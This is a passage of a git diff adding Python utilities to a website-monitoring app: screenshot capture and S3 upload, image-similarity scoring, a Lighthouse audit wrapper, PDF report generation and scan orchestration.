post_scan image + try: + post_img_obj = test.post_scan.images[i] + except: + post_img_obj = None + + if post_img_obj is not None: + post_img_path = os.path.join(temp_root, f'{post_img_obj["id"]}.png') + with open(post_img_path, 'wb') as data: + s3.download_fileobj(str(settings.AWS_STORAGE_BUCKET_NAME), post_img_obj["path"], data) + + # open with PIL Image library + post_img = I.open(post_img_path) + # convert to array + post_img_array = numpy.array(post_img) + + + # test images with PIL + def pil_score(pre_img, post_img): + try: + if (pre_img.mode != post_img.mode) \ + or (pre_img.size != post_img.size) \ + or (pre_img.getbands() != post_img.getbands()): + raise Exception('images are not comparable') + + # Generate diff image in memory. + diff_img = ImageChops.difference(pre_img, post_img) + + # Calculate difference as a ratio. + stat = ImageStat.Stat(diff_img) + diff_ratio = (sum(stat.mean) / (len(stat.mean) * 255)) * 100 + pil_img_score = (100 - diff_ratio) + # print(f'PIL score -> {pil_img_score}') + return pil_img_score + + except Exception as e: + print(e) + + + # test with cv2 + def cv2_score(pre_img_array, post_img_array): + try: + orb = cv2.ORB_create() + + # detect keypoints and descriptors + kp_a, desc_a = orb.detectAndCompute(pre_img_array, None) + kp_b, desc_b = orb.detectAndCompute(post_img_array, None) + + # define the bruteforce matcher object + bf = cv2.BFMatcher(cv2.NORM_HAMMING, crossCheck=True) + + # perform matches. + matches = bf.match(desc_a, desc_b) + + # Look for similar regions with distance < 20. (from 0 to 100) + similar_regions = [i for i in matches if i.distance < 20] + if len(matches) == 0: + cv2_img_score = 100 + else: + cv2_img_score = (len(similar_regions) / len(matches)) * 100 + # print(f'cv2 -> {cv2_img_score}') + + return cv2_img_score + + except Exception as e: + print(e) + + + + # test images + try: + img_score_tupple = ssim(pre_img_array, post_img_array) + img_score_list = list(img_score_tupple) + ssim_img_score = statistics.fmean(img_score_list) * 100 + # print(f'ssim -> {ssim_img_score}') + + pil_img_score = pil_score(pre_img, post_img) + # print(f'pil -> {pil_img_score}') + + cv2_img_score = cv2_score(pre_img_array, post_img_array) + # print(f'cv2 -> {cv2_img_score}') + + img_score = ((ssim_img_score * 2) + (pil_img_score * 1) + (cv2_img_score * 5)) / 8 + # print(f'img_score ==> {img_score}') + + except Exception as e: + print(e) + img_score = None + + # create img test obj and add to array + img_test_obj = { + "index": i, + "pre_img": pre_img_obj, + "post_img": post_img_obj, + "score": img_score, + } + + img_test_results.append(img_test_obj) + scores.append(img_score) + + # remove local copies + if post_img_obj is not None: + try: + os.remove(post_img_path) + except Exception as e: + print(e) + try: + os.remove(pre_img_path) + except Exception as e: + print(e) + + i += 1 + + # remove temp dir + shutil.rmtree(temp_root) + + # averaging scores and storing in images_delta obj + try: + avg_score = statistics.fmean(scores) + except: + avg_score = None + + images_delta = { + "average_score": avg_score, + "images": img_test_results, + } + + return images_delta + + + + + + + + def screenshot(self, site=None, url=None, configs=None, driver=None): + """ + Grabs single screenshot of the website and uploads + it to s3. + """ + + # setup boto3 configurations + s3 = boto3.client( + 's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID), + aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY), + region_name=str(settings.AWS_S3_REGION_NAME), + endpoint_url=str(settings.AWS_S3_ENDPOINT_URL) + ) + + if not configs: + configs = { + "interval": 5, + "window_size": "1920,1080", + "max_wait_time": 60, + "min_wait_time": 10, + "device": "desktop" + } + + # initialize driver if not passed as param + if not driver: + driver = driver_init(window_size=configs.get('window_size', '1920,1080'), device=configs.get('device')) + + + # get or create site data + if site is None: + site_id = uuid.uuid4() + site_url = url + else: + site_id = site.id + site_url = site.site_url + + # request site_url + driver.get(site_url) + + + # wait for site to fully load + driver_wait( + driver=driver, + interval=int(configs.get('interval', 5)), + min_wait_time=int(configs.get('min_wait_time', 10)), + max_wait_time=int(configs.get('max_wait_time', 30)), + ) + + # grab screenshot + pic_id = uuid.uuid4() + driver.save_screenshot(f'{pic_id}.png') + image = os.path.join(settings.BASE_DIR, f'{pic_id}.png') + remote_path = f'static/sites/{site_id}/{pic_id}.png' + root_path = settings.AWS_S3_URL_PATH + image_url = f'{root_path}/{remote_path}' + + # upload to s3 + with open(image, 'rb') as data: + s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), + remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "image/png"} + ) + # remove local copy + os.remove(image) + + # create image obj and add to list + img_obj = { + "id": str(pic_id), + "url": image_url, + "path": remote_path, + } + + # quit driver + quit_driver(driver) + + return img_obj + + + + async def screenshot_p(self, site=None, url=None, configs=None): + """ + Using Puppeteer, grabs single screenshot of the website and uploads + it to s3. + """ + + # setup boto3 configurations + s3 = boto3.client( + 's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID), + aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY), + region_name=str(settings.AWS_S3_REGION_NAME), + endpoint_url=str(settings.AWS_S3_ENDPOINT_URL) + ) + + if not configs: + configs = { + "interval": 5, + "driver": "puppeteer", + "device": "desktop", + "window_size": "1920,1080", + "max_wait_time": 60, + "min_wait_time": 10 + } + + driver = await driver_init_p(window_size=configs.get('window_size', '1920,1080'), wait_time=configs.get('max_wait_time', 30)) + page = await driver.newPage() + + sizes = configs.get('window_size', '1920,1080').split(',') + is_mobile = False + if configs.get('device') == 'mobile': + is_mobile = True + + page_options = { + 'waitUntil': 'networkidle0', + 'timeout': configs.get('max_wait_time', 30)*1000 + } + + viewport = { + 'width': int(sizes[0]), + 'height': int(sizes[1]), + 'isMobile': is_mobile, + } + + userAgent = ( + "Mozilla/5.0 (Linux; Android 11; Pixel 5) AppleWebKit/537.36 \ + (KHTML, like Gecko) Chrome/99.0.4812.0 Mobile Safari/537.36" + ) + + emulate_options = { + 'viewport': viewport, + 'userAgent': userAgent + } + + if configs.get('device') == 'mobile': + await page.emulate(emulate_options) + else: + await page.setViewport(viewport) + + # get or create site data + if site is None: + site_id = uuid.uuid4() + site_url = url + else: + site_id = site.id + site_url = site.site_url + + # request site_url + await page.goto(site_url, page_options) + + # interact with and wait for page to load + await page.mouse.move(0, 0) + await page.mouse.move(0, 100) + time.sleep(configs.get('min_wait_time', 10)) + + # get screenshot + pic_id = uuid.uuid4() + await page.screenshot({'path': f'{pic_id}.png'}) + await driver.close() + image = os.path.join(settings.BASE_DIR, f'{pic_id}.png') + remote_path = f'static/sites/{site_id}/{pic_id}.png' + root_path = settings.AWS_S3_URL_PATH + image_url = f'{root_path}/{remote_path}' + + # upload to s3 + with open(image, 'rb') as data: + s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), + remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "image/png"} + ) + # remove local copy + os.remove(image) + + # create image obj and add to list + img_obj = { + "id": str(pic_id), + "url": image_url, + "path": remote_path, + } + + return img_obj \ No newline at end of file diff --git a/app/api/utils/lighthouse.py b/app/api/utils/lighthouse.py new file mode 100644 index 00000000..ad917045 --- /dev/null +++ b/app/api/utils/lighthouse.py @@ -0,0 +1,155 @@ +import subprocess, json +from ..models import Site, Scan + + + +class Lighthouse(): + + """Initializes Google's Lighthouse CLI and runs an audit of the site""" + + + def __init__(self, site=None, configs=None): + self.site = site + self.configs = configs + self.sizes = configs['window_size'].split(',') + + + def init_audit(self): + proc = subprocess.Popen([ + 'lighthouse', + '--config-path=api/utils/custom-config.js', + '--quiet', + self.site.site_url, + '--plugins=lighthouse-plugin-crux', + '--chrome-flags="--no-sandbox --headless --disable-dev-shm-usage"', + f'--screenEmulation.width={self.sizes[0]}', + f'--screenEmulation.height={self.sizes[1]}', + f'--screenEmulation.{self.configs["device"]}', + '--output', + 'json', + ], + stdout=subprocess.PIPE, + user='app', + ) + stdout_value = proc.communicate()[0] + return stdout_value + + + def get_data(self): + + try: + stdout_value = self.init_audit() + # decode bytes into string + stdout_string = stdout_value.decode('iso-8859-1') + + # clean string of any errors + delm = '{\n "lighthouseVersion"' + stdout_string = delm + stdout_string.split(delm)[1] + + # encode back to bytes + stdout_value = stdout_string.encode('iso-8859-1') + + + if len(stdout_string) != 0: + if 'Runtime error encountered' in stdout_string: + error = {'error': 'lighthouse ran into a problem',} + return error + + stdout_json = json.loads(stdout_value) + + # initial audits object + audits = { + "seo": [], + "accessibility": [], + "performance": [], + "best-practices": [], + "lighthouse-plugin-crux": [], + "pwa": [] + } + + # iterating through categories to get relevant lh_audits and store them in their respective `audits = {}` obj + for cat in audits: + cat_audits = stdout_json["categories"].get(cat).get("auditRefs") + if cat_audits is not None: + for a in cat_audits: + if int(a["weight"]) > 0: + audit = stdout_json["audits"][a["id"]] + audits[cat].append(audit) + # changing audits names + audits['best_practices'] = audits.pop('best-practices') + audits['crux'] = audits.pop('lighthouse-plugin-crux') + + # get scores from each category + seo_score = round(stdout_json["categories"]["seo"]["score"] * 100) + accessibility_score = round(stdout_json["categories"]["accessibility"]["score"] * 100) + performance_score = round(stdout_json["categories"]["performance"]["score"] * 100) + best_practices_score = round(stdout_json["categories"]["best-practices"]["score"] * 100) + pwa_score = round(stdout_json["categories"]["pwa"]["score"] * 100) + + # attempting crux + try: + crux_score = round(stdout_json["categories"]["lighthouse-plugin-crux"]["score"] * 100) + except: + crux_score = 0 + + if crux_score == 0 : + crux_score = None + average_score = round(( + seo_score + accessibility_score + performance_score + + best_practices_score + pwa_score + )/ 5) + else: + average_score = round(( + seo_score + accessibility_score + performance_score + + best_practices_score + pwa_score + crux_score + )/ 6) + + scores = { + "seo": seo_score, + "accessibility": accessibility_score, + "performance": performance_score, + "best_practices": best_practices_score, + "pwa": pwa_score, + "crux": crux_score, + "average": average_score + } + + + data = { + "scores": scores, + "audits": audits, + "failed": False + } + + else: + raise RuntimeError + + except Exception as e: + print(e) + + scores = { + "seo": None, + "accessibility": None, + "performance": None, + "best_practices": None, + "pwa": None, + "crux": None, + "average": None + } + + audits = { + "seo": [], + "accessibility": [], + "performance": [], + "best_practices": [], + "pwa": [], + "crux": [] + } + + data = { + "scores": scores, + "audits": audits, + "failed": True + } + + return data diff --git a/app/api/utils/report_assets/cover_img.png b/app/api/utils/report_assets/cover_img.png new file mode 100644 index 00000000..ac6e1b5e Binary files /dev/null and b/app/api/utils/report_assets/cover_img.png differ diff --git a/app/api/utils/reporter.py b/app/api/utils/reporter.py new file mode 100644 index 00000000..77dffb4a --- /dev/null +++ b/app/api/utils/reporter.py @@ -0,0 +1,466 @@ +from ..models import * +import time, os, sys, json, boto3 +import PIL.Image as Img +from scanerr import settings +from datetime import datetime, timedelta +from reportlab.lib.pagesizes import letter +from reportlab.lib.units import inch +from reportlab.lib.colors import HexColor +from reportlab.pdfgen import canvas + + + +class Reporter(): + + ''' + Used for generating web vitals reports for the passed `Site` obj + + Expects -> { + "report": , + } + + returns --> + + ''' + + def __init__(self, report, scan=None): + self.report = report + self.site = self.report.site + if scan is None: + self.scan = Scan.objects.get(id=self.site.info['latest_scan']['id']) + else: + self.scan = scan + + #building paths & canvas template + if os.path.exists(os.path.join(settings.BASE_DIR, f'temp/')): + self.local_path = os.path.join(settings.BASE_DIR, f'temp/{self.report.id}.pdf') + else: + os.makedirs(f'{settings.BASE_DIR}/temp') + self.local_path = os.path.join(settings.BASE_DIR, f'temp/{self.report.id}.pdf') + + self.page_index = 0 + self.text_color = self.report.info['text_color'] + self.highlight_color = self.report.info['highlight_color'] + self.background_color = self.report.info['background_color'] + self.c = canvas.Canvas(self.local_path, letter) + self.y = 9 + + + def setup_page(self): + # sets the defaults for a new page + self.c.setFillColor(HexColor(self.background_color)) + self.c.rect(0, 0, 8.5*inch, 11*inch, stroke=0, fill=1) + + + def end_page(self): + # adds page number and ends page + self.c.setFont('Helvetica-Bold', 15) + self.c.setFillColor(HexColor(self.text_color)) + self.page_index += 1 + self.c.drawString(7.7*inch, .3*inch, str(self.page_index)) + self.c.showPage() + + + def draw_page_title(self, title): + # adds a title to the given page + self.c.setFont('Helvetica-Bold', 32) + self.c.setFillColor(HexColor(self.text_color)) + self.c.drawCentredString(4.25*inch, 10*inch, title) + + + def publish_report(self): + self.c.save() + remote_path = f'static/sites/{self.report.site.id}/{self.report.id}.pdf' + s3 = boto3.client('s3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID), + aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY), + region_name=str(settings.AWS_S3_REGION_NAME), + endpoint_url=str(settings.AWS_S3_ENDPOINT_URL) + ) + + # uploading package to remote s3 + with open(self.local_path, 'rb') as data: + s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), + remote_path, ExtraArgs={ + 'ACL': 'public-read', 'ContentType': 'application/pdf'} + ) + + report_url = f'{settings.AWS_S3_URL_PATH}/{remote_path}#toolbar=0' + + self.report.path = report_url + self.report.save() + os.remove(self.local_path) + + + + def cover_page(self): + # background and title + self.setup_page() + + # creating dark triangle + p = self.c.beginPath() + p.moveTo(0*inch, 11*inch) + p.lineTo(7*inch, 11*inch) + p.lineTo(2.5*inch, 4.5*inch) + p.lineTo(0*inch, 7*inch) + self.c.setFillColor(HexColor('#00000026', hasAlpha=True)) + self.c.setStrokeColor(HexColor('#00000026', hasAlpha=True)) + self.c.drawPath(p, fill=1) + + # crating light triangle + p = self.c.beginPath() + p.moveTo(0*inch, 0*inch) + p.lineTo(0*inch, 7*inch) + p.lineTo(7*inch, 0*inch) + self.c.setFillColor(HexColor('#0000000D', hasAlpha=True)) + self.c.setStrokeColor(HexColor('#0000000D', hasAlpha=True)) + self.c.drawPath(p, fill=1) + + # date + date = f'{self.scan.time_created.month}/{self.scan.time_created.day}/{self.scan.time_created.year}' + self.c.setFont('Helvetica-Bold', 24) + self.c.setFillColor(HexColor(self.text_color)) + self.c.drawString(.5*inch, 7.5*inch, date) + + # title + self.c.setFont('Helvetica-Bold', 45) + self.c.setFillColor(HexColor(self.text_color)) + self.c.drawString(.5*inch, 10*inch, 'Web Vitals for') + if len(self.site.site_url) <= 12: + self.c.drawString(.5*inch, 9*inch, self.site.site_url) + elif 12 < len(self.site.site_url): + extra_chars = len(self.site.site_url) - 12 + m = (3/5) + self.c.setFont('Helvetica-Bold', int(45 - (extra_chars * m))) + self.c.setFillColor(HexColor(self.text_color)) + self.c.drawString(.5*inch, 9*inch, self.site.site_url) + # cover img + cover_img = os.path.join(settings.BASE_DIR, "api/utils/report_assets/cover_img.png") + self.c.drawImage(cover_img, 1*inch, 2*inch, 6.04*inch, 4.68*inch, mask='auto') + + self.end_page() + + + + + def get_score_data(self, score, is_binary=False): + score = float(score) + if is_binary: + score = score*100 + + score_types = { + "a": { + "grade": "A", + "color": "#38B43F", + }, + "b": { + "grade": "B", + "color": "#82B436", + }, + "c": { + "grade": "C", + "color": "#ACB43C", + }, + "d": { + "grade": "D", + "color": "#B49836", + }, + "e": { + "grade": "E", + "color": "#B46B34", + }, + "f": { + "grade": "F", + "color": "#B43A29", + }, + + } + + if score >= 80: + grade = score_types['a'] + elif 80 > score >= 70: + grade = score_types['b'] + elif 70 > score >= 50: + grade = score_types['c'] + elif 50 > score >= 30: + grade = score_types['d'] + elif 30 > score >= 0: + grade = score_types['e'] + else: + grade = score_types['f'] + + return grade + + + def get_cat_string(self, cat): + + if cat == 'fonts': + string = 'Fonts' + elif cat == 'badCSS': + string = 'Bad CSS' + elif cat == 'jQuery': + string = 'jQuery' + elif cat == 'requests': + string = 'Requests' + elif cat == 'pageWeight': + string = 'Page Weight' + elif cat == 'serverConfig': + string = 'Server Config' + elif cat == 'badJavascript': + string = 'Bad JS' + elif cat == 'cssComplexity': + string = 'CSS Complexity' + elif cat == 'domComplexity': + string = 'DOM Complexity' + elif cat == 'javascriptComplexity': + string = 'JS Complexity' + elif cat == 'seo': + string = 'SEO' + elif cat == 'pwa': + string = 'PWA' + elif cat == 'crux': + string = 'CRUX' + elif cat == 'best_practices' or cat == 'best-practices': + string = 'Best Practices' + elif cat == 'performance': + string = 'Performance' + elif cat == 'accessibility': + string = 'Accessibility' + + return string + + + + def create_data(self, data_type=str): + self.setup_page() + + if data_type == 'yellowlab': + data = self.scan.yellowlab + page_title = 'Yellow Lab' + avg_score = 'globalScore' + + if data_type == 'lighthouse': + data = self.scan.lighthouse + page_title = 'Lighthouse' + avg_score = 'average' + + self.draw_page_title(page_title) + if data['scores'][avg_score] is None: + return False + + # measurements + space = .25 + text_space = .05 + begin_y = 8 + log_margin = 3.7 + text_margin = .3 + value_margin = 3 + log_height = .2 + log_width = 4 + grade_tab_width = .07 + + c_count = 0 + logs_count = 0 + for cat in data['audits']: + + # checking if cat is not null + if data['scores'][cat] is not None: + + # creating global score + if c_count == 0: + grade_obj = self.get_score_data(data['scores'][avg_score]) + self.c.setFillColor(HexColor(grade_obj['color'],)) + self.c.roundRect( + 2*inch, + 8.7*inch, + 1*inch, + 1*inch, + .17*inch, + stroke=0, + fill=1 + ) + self.c.setFillColor(HexColor(self.text_color)) + self.c.setFont('Helvetica', 30) + self.c.drawCentredString( + 2.5*inch, + 9.05*inch, + grade_obj['grade'] + ) + self.c.setFont('Helvetica', 20) + self.c.drawCentredString( + 5.5*inch, + 8.9*inch, + 'Global Score' + ) + self.c.setFont('Helvetica-Bold', 20) + self.c.drawCentredString( + 5.5*inch, + 9.25*inch, + f'{data["scores"][avg_score]}/100' + ) + + + # creating new page at limit --> 20 items + if logs_count >= 20: + self.end_page() + logs_count = 0 + begin_y = 9 + self.setup_page() + self.draw_page_title(f'{page_title} (continued)') + + # creating space btw sections + if c_count > 0 and logs_count != 0: + begin_y = (self.y - .2) + + + + # creating individual grade cards + grade_obj = self.get_score_data(data['scores'][cat]) + self.c.setFillColor(HexColor(grade_obj['color'],)) + self.c.roundRect( + .5*inch, + (begin_y - .25)*inch, + .5*inch, + .5*inch, + .12*inch, + stroke=0, + fill=1 + ) + self.c.setFillColor(HexColor(self.text_color)) + self.c.setFont('Helvetica', 16) + self.c.drawCentredString( + .75*inch, + (begin_y - .07)*inch, + grade_obj['grade'] + ) + + self.c.setFont('Helvetica', 16) + cat_string = self.get_cat_string(cat) + self.c.drawCentredString( + 2.3*inch, + (begin_y - .07)*inch, + cat_string + ) + + + p_count = 0 + for policy in data['audits'][cat]: + + if (begin_y - (space * p_count)) < 1: + break + + # setting up keys for dict(s) + if data_type == 'yellowlab': + policy_text = policy["policy"]["label"] + policy_value = policy["value"] + binary = False + if data_type == 'lighthouse': + policy_text = policy["title"] + policy_value = '' + if "displayValue" in policy: + if len(policy["displayValue"]) < 9: + policy_value = policy["displayValue"] + binary = True + + + if len(policy_text) < 53: + # creating log box + self.c.setFont('Helvetica', 9) + self.c.setFillColor(HexColor(f'{self.highlight_color}95', hasAlpha=True)) + self.c.rect( + log_margin*inch, + (begin_y - (space * p_count))*inch, + log_width*inch, log_height*inch, + stroke=0, + fill=1 + ) + + # get grade tab + grade_obj = self.get_score_data(policy['score'], is_binary=binary) + self.c.setFillColor(HexColor(grade_obj['color'],)) + self.c.rect( + log_margin*inch, + (begin_y - (space * p_count))*inch, + grade_tab_width*inch, + log_height*inch, + stroke=0, + fill=1 + ) + + # inserting data + self.c.setFillColor(HexColor(self.text_color)) + + # text + self.c.drawString( + (log_margin + text_margin)*inch, + ((begin_y - (space * p_count)) + text_space)*inch, + (f'{policy_text}') + ) + + # value + self.c.drawString( + (value_margin + text_margin + log_margin)*inch, + ((begin_y - (space * p_count)) + text_space)*inch, + (f'{policy_value}') + ) + + + p_count += 1 + logs_count += 1 + self.y = (begin_y - (space * p_count)) + + c_count += 1 + + + + self.end_page() + + + + + + + + + + + + + + + + + + + + + + + + + + + + def make_test_report(self): + + self.cover_page() + + if 'lighthouse' in self.report.type or 'full' in self.report.type: + self.create_data(data_type='lighthouse') + + if 'yellowlab' in self.report.type or 'full' in self.report.type: + self.create_data(data_type='yellowlab') + + if 'crux' in self.report.type or 'full' in self.report.type: + self.setup_page() + self.draw_page_title('CRUX') + self.end_page() + + self.publish_report() + return self.report + + + + + + + \ No newline at end of file diff --git a/app/api/utils/scanner.py b/app/api/utils/scanner.py new file mode 100644 index 00000000..13424f82 --- /dev/null +++ b/app/api/utils/scanner.py @@ -0,0 +1,448 @@ +from .driver_s import driver_init as driver_s_init, quit_driver +from .driver_s import driver_wait +from .driver_p import get_data +from ..models import Site, Scan, Test +from django.forms.models import model_to_dict +from django.core.serializers.json import DjangoJSONEncoder +from .lighthouse import Lighthouse +from .yellowlab import Yellowlab +from .image import Image +from datetime import datetime +import time, os, sys, json, asyncio + + + +class Scanner(): + + def __init__( + self, + site=None, + scan=None, + configs=None, + type=['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'] + ): + + if site == None and scan != None: + site = scan.site + + if configs is None: + configs = { + 'window_size': '1920,1080', + 'driver': 'selenium', + 'device': 'desktop', + 'mask_ids': None, + 'interval': 5, + 'min_wait_time': 10, + 'max_wait_time': 60, + 'timeout': 300, + 'disable_animations': False + } + + self.site = site + + if configs['driver'] == 'selenium': + self.driver = driver_s_init(window_size=configs['window_size'], device=configs['device']) + + if scan is not None: + self.scan = scan + else: + self.scan = None + + self.configs = configs + self.type = type + + + + def first_scan(self): + """ + Method to run a scan independently of an existing `scan` obj. + + returns -> `Scan` + """ + + html = None + logs = None + images = None + lh_data = None + yl_data = None + + if self.scan is None: + self.scan = Scan.objects.create(site=self.site, type=self.type) + + if self.configs['driver'] == 'selenium': + self.driver.get(self.site.site_url) + if 'html' in self.scan.type or 'full' in self.scan.type: + html = self.driver.page_source + if 'logs' in self.scan.type or 'full' in self.scan.type: + logs = self.driver.get_log('browser') + if 'vrt' in self.scan.type or 'full' in self.scan.type: + images = Image().scan(site=self.site, driver=self.driver, configs=self.configs) + quit_driver(self.driver) + else: + driver_data = asyncio.run( + get_data( + url=self.site.site_url, + configs=self.configs + ) + ) + if 'html' in self.scan.type or 'full' in self.scan.type: + html = driver_data['html'] + if 'logs' in self.scan.type or 'full' in self.scan.type: + logs = driver_data['logs'] + if 'vrt' in self.scan.type or 'full' in self.scan.type: + images = asyncio.run(Image().scan_p(site=self.site, configs=self.configs)) + + if 'lighthouse' in self.scan.type or 'full' in self.scan.type: + lh_data = Lighthouse(site=self.site, configs=self.configs).get_data() + if 'yellowlab' in self.scan.type or 'full' in self.scan.type: + yl_data = Yellowlab(site=self.site, configs=self.configs).get_data() + + if html is not None: + self.scan.html = html + if logs is not None: + self.scan.logs = logs + if images is not None: + self.scan.images = images + if lh_data is not None: + self.scan.lighthouse = lh_data + if yl_data is not None: + self.scan.yellowlab = yl_data + + self.scan.configs = self.configs + self.scan.time_completed = datetime.now() + self.scan.save() + first_scan = self.scan + + update_site_info(first_scan) + + return first_scan + + + + + + def second_scan(self): + """ + Method to run a scan and attach existing `Scan` obj to it. + + returns -> `Scan` + """ + if not self.scan: + first_scan = Scan.objects.filter( + site=self.site, + time_completed__isnull=False + ).order_by('-time_created').first() + + else: + first_scan = self.scan + + # create second scan obj + second_scan = Scan.objects.create(site=self.site, type=self.type) + + html = None + logs = None + images = None + lh_data = None + yl_data = None + + if self.configs['driver'] == 'selenium': + self.driver.get(self.site.site_url) + if 'html' in second_scan.type or 'full' in second_scan.type: + html = self.driver.page_source + if 'logs' in second_scan.type or 'full' in second_scan.type: + logs = self.driver.get_log('browser') + if 'vrt' in second_scan.type or 'full' in second_scan.type: + images = Image().scan(site=self.site, driver=self.driver, configs=self.configs) + quit_driver(self.driver) + else: + driver_data = asyncio.run( + get_data( + url=self.site.site_url, + configs=self.configs + ) + ) + if 'html' in second_scan.type or 'full' in second_scan.type: + html = driver_data['html'] + if 'logs' in second_scan.type or 'full' in second_scan.type: + logs = driver_data['logs'] + if 'vrt' in second_scan.type or 'full' in second_scan.type: + images = asyncio.run(Image().scan_p(site=self.site, configs=self.configs)) + + if 'lighthouse' in second_scan.type or 'full' in second_scan.type: + lh_data = Lighthouse(site=self.site, configs=self.configs).get_data() + if 'yellowlab' in second_scan.type or 'full' in second_scan.type: + yl_data = Yellowlab(site=self.site, configs=self.configs).get_data() + + if html is not None: + second_scan.html = html + if logs is not None: + second_scan.logs = logs + if images is not None: + second_scan.images = images + if lh_data is not None: + second_scan.lighthouse = lh_data + if yl_data is not None: + second_scan.yellowlab = yl_data + + second_scan.configs = self.configs + + second_scan.time_completed = datetime.now() + second_scan.paired_scan = first_scan + second_scan.save() + + first_scan.paried_scan = second_scan + first_scan.save() + + update_site_info(second_scan) + + return second_scan + + + + + + + +def update_site_info(scan): + """ + Method to update associated Site with the new Scan data + + returns -> `Site` + """ + + health = 'No Data' + badge = 'neutral' + d = 0 + score = 0 + site = scan.site + + if scan.lighthouse['scores']['average'] is not None: + score += float(scan.lighthouse['scores']['average']) + d += 1 + if scan.yellowlab['scores']['globalScore'] is not None: + score += float(scan.yellowlab['scores']['globalScore']) + d += 1 + + if score != 0: + score = score / d + if score >= 75: + health = 'Good' + badge = 'success' + elif 75 > score >= 60: + health = 'Okay' + badge = 'warning' + elif 60 > score: + health = 'Poor' + badge = 'danger' + + else: + if scan.site.info['status']['score'] is not None: + score = float(site.info['status']['score']) + health = site.info['status']['health'] + badge = site.info['status']['badge'] + else: + score = None + + site.info['latest_scan']['id'] = str(scan.id) + site.info['latest_scan']['time_created'] = str(scan.time_created) + site.info['latest_scan']['time_completed'] = str(scan.time_completed) + site.info['lighthouse'] = scan.lighthouse.get('scores') + site.info['yellowlab'] = scan.yellowlab.get('scores') + site.info['status']['health'] = str(health) + site.info['status']['badge'] = str(badge) + site.info['status']['score'] = score + + site.save() + + return site + + + + + + + + + + +def check_scan_completion(scan): + """ + Method that checks if the scan has finished all + components. If so, method also updates scan and site + info. + + returns -> `Scan` + """ + + finished = True + + if 'html' in scan.type or 'full' in scan.type: + if scan.html == None or scan.html == '': + finished = False + + if 'logs' in scan.type or 'full' in scan.type: + if scan.logs == None or scan.logs == '': + finished = False + + if 'lighthouse' in scan.type or 'full' in scan.type: + if scan.lighthouse.get('scores').get('average') == None and scan.lighthouse.get('failed') == None: + finished = False + + if 'yellowlab' in scan.type or 'full' in scan.type: + if scan.yellowlab.get('scores').get('globalScore') == None and scan.yellowlab.get('failed') == None: + finished = False + + if 'vrt' in scan.type or 'full' in scan.type: + if scan.images == None or scan.images == '': + finished = False + + # deciding if done + if finished is True: + time_completed = datetime.now() + update_site_info(scan) + scan.time_completed = time_completed + scan.save() + + return scan + + + + + + +def _html_and_logs(scan_id): + """ + Method to run the 'html' and 'logs' component of the scan + allowing for multi-threading. + + returns -> `Scan` + """ + scan = Scan.objects.get(id=scan_id) + + if scan.configs['driver'] == 'selenium': + + driver = driver_s_init( + window_size=scan.configs['window_size'], + device=scan.configs['device'] + ) + driver.get(scan.site.site_url) + if 'html' in scan.type or 'full' in scan.type: + html = driver.page_source + scan = Scan.objects.get(id=scan_id) + scan.html = html + scan.save() + if 'logs' in scan.type or 'full' in scan.type: + logs = driver.get_log('browser') + scan = Scan.objects.get(id=scan_id) + scan.logs = logs + scan.save() + quit_driver(driver) + + + if scan.configs['driver'] == 'puppeteer': + + driver_data = asyncio.run( + get_data( + url=scan.site.site_url, + configs=scan.configs + ) + ) + if 'html' in scan.type or 'full' in scan.type: + html = driver_data['html'] + scan = Scan.objects.get(id=scan_id) + scan.html = html + scan.save() + if 'logs' in scan.type or 'full' in scan.type: + logs = driver_data['logs'] + scan = Scan.objects.get(id=scan_id) + scan.logs = logs + scan.save() + + + # checking if scan is done + scan = check_scan_completion(scan) + + return scan + + + + + +def _vrt(scan_id): + """ + Method to run the visual regression (vrt) component of the scan + allowing for multi-threading. + + returns -> `Scan` + """ + scan = Scan.objects.get(id=scan_id) + if scan.configs['driver'] == 'selenium': + driver = driver_s_init(window_size=scan.configs['window_size'], device=scan.configs['device']) + images = Image().scan(site=scan.site, driver=driver, configs=scan.configs) + quit_driver(driver) + + if scan.configs['driver'] == 'puppeteer': + images = asyncio.run(Image().scan_p(site=scan.site, configs=scan.configs)) + + # updating Scan object + scan = Scan.objects.get(id=scan_id) + scan.images = images + scan.save() + + # checking if scan is done + scan = check_scan_completion(scan) + + return scan + + + + + +def _lighthouse(scan_id): + """ + Method to run the lighthouse component of the scan + allowing for multi-threading. + + returns -> `Scan` + """ + scan = Scan.objects.get(id=scan_id) + + # running lighthouse + lh_data = Lighthouse(site=scan.site, configs=scan.configs).get_data() + + # updating Scan object + scan = Scan.objects.get(id=scan_id) + scan.lighthouse = lh_data + scan.save() + + # checking if scan is done + scan = check_scan_completion(scan) + + return scan + + + + + + +def _yellowlab(scan_id): + """ + Method to run the yellowlab component of the scan + allowing for multi-threading. + + returns -> `Scan` + """ + scan = Scan.objects.get(id=scan_id) + + # running yellowlab + yl_data = Yellowlab(site=scan.site, configs=scan.configs).get_data() + + # updating Scan object + scan = Scan.objects.get(id=scan_id) + scan.yellowlab = yl_data + scan.save() + + # checking if scan is done + scan = check_scan_completion(scan) + + return scan diff --git a/app/api/utils/tester.py b/app/api/utils/tester.py new file mode 100644 index 00000000..d5dd0d4a --- /dev/null +++ b/app/api/utils/tester.py @@ -0,0 +1,600 @@ +from ..models import Site, Scan, Test +import time, os, sys, json, random, string, re +from difflib import SequenceMatcher, HtmlDiff, Differ +from datetime import datetime +from .image import Image + + + +class Tester(): + + def __init__(self, test): + self.test = test + self.pre_scan_html = [] + self.post_scan_html = [] + self.pre_scan_logs = [] + self.post_scan_logs = [] + self.delta_html_post = [] + self.delta_html_pre = [] + + + def clean_html(self): + pre_scan_html = self.test.pre_scan.html.splitlines() + post_scan_html = self.test.post_scan.html.splitlines() + + white_list = ['csrfmiddlewaretoken', '',] + tags = [ + '', '', new_line) + for sub in subStrings: + if sub not in tags: + self.pre_scan_html.append((sub+'>')) + + for line in post_scan_html: + for item in white_list: + if item in line: + post_scan_html.remove(line) + for line in post_scan_html: + new_line = line.replace('\t', '').replace('\\', 